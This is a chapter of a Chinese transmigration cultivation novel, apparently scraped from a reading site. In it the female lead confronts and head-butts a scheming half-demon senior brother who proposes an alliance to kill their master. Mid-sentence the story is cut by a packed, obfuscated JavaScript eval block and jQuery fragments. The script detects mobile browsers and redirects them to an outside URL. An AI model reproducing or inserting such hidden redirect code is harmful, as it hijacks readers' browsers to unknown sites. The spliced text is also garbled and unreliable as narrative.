18. 夜袭少年床
作品:《穿书成病娇反派的恶毒师尊》 夜色浓重无声无息地覆上摘星峰。
殷焕生站在自己那间破屋门前,抬眼望了望天色,然后推门走了进去。
陆霜序要他去救那几个困在山里的弟子?
他没有去添一把火就已经算是大发慈悲了。
床榻上的被褥铺得整整齐齐,屋里甚至飘着鲜花的香气,任谁也不会想到这间屋子不久前只有霉味和灰尘。
他躺下去的时候,身体不由自主地僵了一瞬。
太暖了,太软了。
即使这么多天了,他还是不习惯。
他不由得想起了月魄。
他一个半妖,走到哪里都是被人避之不及,旁人的目光里永远掺杂着恐惧和嫌恶。
可她偏偏要凑上来,不仅凑上来,还替他疗伤,还替他重建房屋。
真是可笑。
可更可笑的是,陆霜序现在很看重月魄。
他暂时动不了月魄。
陆霜序的修为比不上江拂雪,可单凭她现在的实力,压制他却是绰绰有余的。他的妖力被封了大半,这具身体又被反噬得千疮百孔,真要动手,他连三成胜算都没有。
如果要杀月魄,就必须等到他能制衡陆霜序的时候。
而这个时间,不会很长。
药房里出现了治疗陆霜序的丹药,那意味着他藏在那个女人体内的妖力已经被发现了,这也是预料之中。
留给他的时间不多了。
他必须尽快。
逍遥门。
想到这三个字,他的嘴角就忍不住弯了一下。
要是那个人看到他,一定会吓坏了。
他曾说过,等他再回到那,一定让逍遥门生灵不存。
不过这次,他要先回去拿个东西,就让逍遥门那群虫豸再多活些日子。
突然,一阵脚步声从外面传来。
那脚步声又快又急,显然没有半分要掩饰行踪的意思。
门被推开了。
山间的夜风裹着浓重的草木气息涌进来,而比夜风更快的是一个娇俏的身影。那人影趁着夜色,几乎是用扑的姿势俯下身来,一把抱住了床上的殷焕生。
柔软,温热,带着一股山野间沾来的青草气息,混着少女身上独有的香气。
那温度透过薄薄的衣料传过来,像是一团烧得正旺的炭火被人直接塞进了怀里。
这是殷焕生属于身体的本能感知。
紧接着,第二反应排山倒海地涌上来。
厌恶。
一股从骨头缝里渗出来的厌恶,那种被触碰的感觉让他胃里一阵翻搅,几乎要当场呕出来。
他猛地推开了人。
一张愤怒的脸就这么撞进了他的视线里。
陆霜序瞪着一双圆溜溜的眼睛,那眼睛里盛着薄薄的怒意。几缕碎发从发髻里散落下来,贴在额角上,被夜露打湿了些许。
“好啊。”她气鼓鼓地开口,声音里带着几分咬牙切齿的意味,“你不是想见我吗?我来了。”
殷焕生愣了一瞬。
随即,白天陆霜序说过的那些话忽然从记忆里浮了上来。
再看眼前这个人,他立刻就明白了。
陆霜序的鞋面上沾着新鲜的泥土,裙摆上挂着好几根野草的碎叶和不知从哪里蹭来的苍耳。
这副模样,分明是刚从山上下来。
看来那几个困在山里的蠢货得救了。
而这个人,大半夜被叫起来去救人,大约是攒了一肚子的火气没处发,于是一下山的头一件事就是跑来找他的麻烦。
殷焕生脸上的表情褪得一干二净,只余下一层薄薄的冷意,像是寒冬腊月里结了冰的湖面。他微微偏过头,声音平淡得没有一丝起伏:“别碰我。”
“是吗?”陆霜序歪了歪脑袋,唇角勾起一个弧度,“我还以为师兄就喜欢这样呢,不然为什么要大半夜的把我招来?”
“我没有。”
否认得又快又干脆。
陆霜序却不依不饶。她往前凑了半步,月光从敞开的门口斜斜地照进来,落在她脸上,将那双眼睛照得亮晶晶的。“师兄,咱们把话说清楚。如果下次你再让师尊叫我大半夜起来去做什么,我就抱你一次。”
她顿了顿,又补了一句:“然后亲你一次。”
殷焕生看着她,目光沉沉的,像是深冬里结了冰的古井,看不见底也探不到温度。
一时之间,他竟然有些后悔。
后悔让这个人知道了自己最讨厌被人碰这件事。
他没有继续在这个话题上纠缠下去,而是话锋一转,“你是怎么让陆霜序听你的?”
他今天见到的陆霜序,和从前那个蠢货判若两人。
仔细回想起来,所有变化开始的时候,恰好就是月魄出现的时候。而陆霜序现在的行事作风,那股子不管不顾的蛮横劲儿,那种理所当然的强势,确实像极了月魄。
陆霜序双手叉腰,下巴微微扬起,露出一个意味深长的笑:“你想知道?”
殷焕生没有理会她的卖关子,继续说了下去,“你的身体和陆霜序有着万中无一的相似。而你可能不知道,咱们那位师尊的身体已经快要不行了。你应该是她夺舍最合适的人选。”
陆霜序眨了眨眼。
她在心里飞速地盘算着。
殷焕生确实很敏锐。
他轻易就看出了陆霜序和月魄的相似之处,可他终究受限于这个世界的认知框架,不可能明白另一个世界的人居然能穿越到一个完全不同的人身上,还要进行一些匪夷所思的,必须要完成的任务。
所以殷焕生只能用自己对这个世界的理解来进行猜测。
夺舍。
这确实是最合乎情理的解释。
毕竟陆霜序从来不是什么好心肠的人,一个无父无母的少女,凭什么能被她收留下来?
既然殷焕生都这么诚实把自己的猜测摊开在她面前了,那她怎么能辜负人家这一番苦心揣摩呢。
当然是要顺杆爬了。
“那又如何。”
她既没有承认也没有否认,语气里带着一种模棱两可的微妙。
这种含混的态度本身就是一种间接的承认,聪明人自然听得懂。
她看向殷焕生,等着这个人接下来要说什么,盘算着继续顺杆往上爬。
殷焕生果然开了口,“我们两个联手。我会帮你杀了她,避免你被夺舍。”
陆霜序又眨了眨眼。
这个反派真是无时无刻不想着杀人。
她歪着头,露出一个疑惑的表情:“那……你想要我做什么?”
“我要去逍遥门。”
陆霜序愣了一下,随即
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477856|201586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忍不住反问:“我看起来本事有这么大?”
逍遥门建立之初的本心就是为了对抗妖族,无论好坏,只要是妖就杀。而殷焕生这种像叛徒一样存在的半妖,怕是刚到逍遥门的地界就会被就地格杀。
殷焕生不为所动,声音依旧平静得像一潭死水:“要么我们联手,要么你就慢慢等着身体被他人占据,灵魂彻底消失在轮回之中。”
陆霜序想了想,试探着问:“那如果我不答应呢。”
“随你。”
“那如果我不止不答应,还要把你说的事情告诉师尊呢。”
“随你。”
陆霜序终于忍不住追问:“师兄为什么这么不怕我告密?”
殷焕生的目光落在她脸上,那双眼睛清冷得像是浸了霜的刀刃。
“聪明的人知道该怎么选。”
陆霜序沉默了一会儿,像是在认真思考他的话。然后她点了点头,语气里带着几分郑重:“我会考虑。”
她一边说着一边慢慢靠近,在床沿上坐了下来。
两个人之间的距离一点一点地缩短,近得能闻到彼此身上淡淡的气息。
殷焕生的眉头开始拧起来。
“不过在此之前,我需要先做一件事。”陆霜序的声音忽然变得软绵绵的,像是浸满蜜的糖霜,“我这个人自小无父无母,从未和男人从来都没有接触过。这一看到你,就心生欢喜,忍不住。”
她说着,脸慢慢地凑了过来。
月光从她背后照过来,将她脸上的轮廓勾出一层柔和的光晕。
那双眼睛里盛着一种让人看不透的光,分不清是真心还是戏弄。
殷焕生的眉头拧得更紧了。
两个人的脸越靠越近,近到呼吸交缠在一起,能看清对方瞳孔里自己的倒影。
殷焕生下意识地想往后躲,身体微微后仰,却被陆霜序一把抓住了衣襟。
然后她猛地向前一撞。
额头狠狠地砸上了额头。
“砰”的一声闷响在安静的小屋里格外清晰。
殷焕生的眼前顿时炸开一片金星,额头传来的钝痛顺着神经蔓延开来,连带着太阳穴都跟着突突地跳了起来。
陆霜序这才满意地站起身,拍了拍裙摆上沾着的草屑,居高临下地看着床上捂着额头的殷焕生,露出一个灿烂的笑容。
“大半夜被人叫起来干活,真的是让人恼羞成怒,还请你多多包涵。晚安喽。”
说完她便消失在了门外的黑暗里。
屋子里重新安静下来。
殷焕生坐在床上,一只手捂着被撞红的额头,月光从门口照进来,将他孤零零地圈在一片清冷的光里。
疼。
但比起他身上那些陈年旧伤,比起妖力反噬时那种五脏六腑都要被撕裂的痛,这点疼根本就算不了什么。
可偏偏就是这种疼让他恼羞成怒。
不是因为疼本身,而是因为这疼的原因。
因为半夜被叫起来干活这种鸡毛蒜皮的小事,那个人就怒气冲冲地跑过来,先抱了他,又撞了他的头,然后拍拍屁股走人。
连他提出的联手都不考虑。
殷焕生的手指收紧,指节泛出青白色。
这世界上怎么会有这么幼稚,这么无聊的人?
可偏偏现在的他有求于她。

